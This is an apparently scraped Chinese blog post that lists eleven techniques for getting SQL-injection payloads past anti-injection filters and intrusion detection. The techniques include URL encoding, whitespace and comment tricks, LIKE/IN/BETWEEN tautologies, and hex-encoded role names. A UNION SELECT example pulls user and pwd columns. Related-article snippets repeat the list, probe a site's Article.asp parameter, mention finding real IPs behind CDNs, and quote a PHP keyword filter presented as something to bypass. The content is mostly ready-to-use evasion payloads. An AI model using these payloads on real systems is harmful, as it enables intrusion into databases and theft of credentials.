11种绕过防注入系统的方法

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or
1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
or‘
swords‘ =‘swords‘,由于mssql的松散性,我们可以把or ‘swords‘
之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过,如or ‘swords‘
=‘swords‘,这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or
‘swords‘ = N‘ swords‘ ,大写的N告诉mssql server
字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如or
‘swords‘ =‘sw‘ +‘ ords‘ ;EXEC(‘IN‘ +‘ SERT INTO ‘+‘ …..‘
)

6、通过LIKE绕过
以前怎么就没想到呢?如or‘swords‘ LIKE
‘sw‘!!!显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过
与上面的LIKE的思路差不多,如or
‘swords‘ IN (‘swords‘)

8、通过BETWEEN绕过
如or ‘swords‘ BETWEEN
‘rw‘ AND ‘tw‘

9、通过>或者<绕过
or ‘swords‘ > ‘sw‘
or
‘swords‘ < ‘tw‘
or
1<3
……

10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select
/**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/
LECT /**/user,pwd from
tbluser

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00
=hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

时间: 2024-10-12 16:23:41

11种绕过防注入系统的方法的相关文章

绕过防注入系统的方法

路过这个网站,检测了一下.http://www.xxx.cn/Article.asp?ID=117 and 1=1直接返回主页http://www.xxx.cn/Article.asp?ID=117 or 1=1直接返回主页http://www.xxx.cn/Article.asp?ID=117 or没有返回主页 没有过滤orhttp://www.xxx.cn/Article.asp?ID=117 and直接返回主页 看来过滤了andhttp://www.xxx.cn/Article.asp?I

11种绕过防注入的办法

1.运用编码技术绕过如URLEncode编码,ASCII编码绕过.例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116). 2.通过空格绕过如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or' swords' =‘swords',由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行. 3.运用字符串判断代替用经典的or 1=1判断绕过,如or 'sw

11种绕过CDN查找真实IP方法

0x01 验证是否存在CDN 方法1: 很简单,使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有: http://ping.chinaz.com/ http://ping.aizhan.com/ http://ce.cloud.360.cn/ 方法2: 使用 nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN.有 CDN 的示例: www.163.com 服务器: public1.11

绕过防注入的几种方法

1.运用编码技术绕过 如URLEncode编码,ASCII编码绕过.例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116). 2.通过空格绕过 如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 or swords =‘swords,由于mssql的松散性,我们可以把or swords 之间的空格去掉,并不影响运行. 3.运用字符串判断代替 用经典的or 1=1判断绕过,如or swor

Acesss数据库手工绕过通用代码防注入系统

By antian365 残枫 simeon 渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell.在本文中还对access数据库获取webshell等关键技术进行了总结. 1.1获取目标信息 通过百度进行关键字"news.asp?id="搜索,在搜索结果中随机选择一个记录,打开如图1所示,测试网站是否能够正常访问,同时在Fi

绕过防注入的几种方法思路

1.运用编码技术绕过如URLEncode编码,ASCII编码绕过.例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116). 2.通过空格绕过如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or swords =‘swords,由于mssql的松散性,我们可以把or swords 之间的空格去掉,并不影响运行. 3.运用字符串判断代替用经典的or 1=1判断绕过,如or swords =

Select-or-Die演示11种美化下拉框select方法

在线预览 下载地址 在线实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <div class="main">             <div class="mianc">                 <h1>默认</h1>                 &l

sql 防注入 维基百科

http://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A SQL攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏. 有部份人认为SQL注入攻击是只针对Mi

php之防注入程序绕过浅谈

<?php/*判断传递的变量是否含有非法字符如:$_POST/$_GET功能:SQL防注入系统*/ //屏蔽错误提示error_reporting(7); //需要过滤的字符 $ArrFiltrate = array("'", "or", "and", "union", "where"); //1.如果规则不完全,也会引起安全问题 //出错跳转的URL$StrGoUrl = "";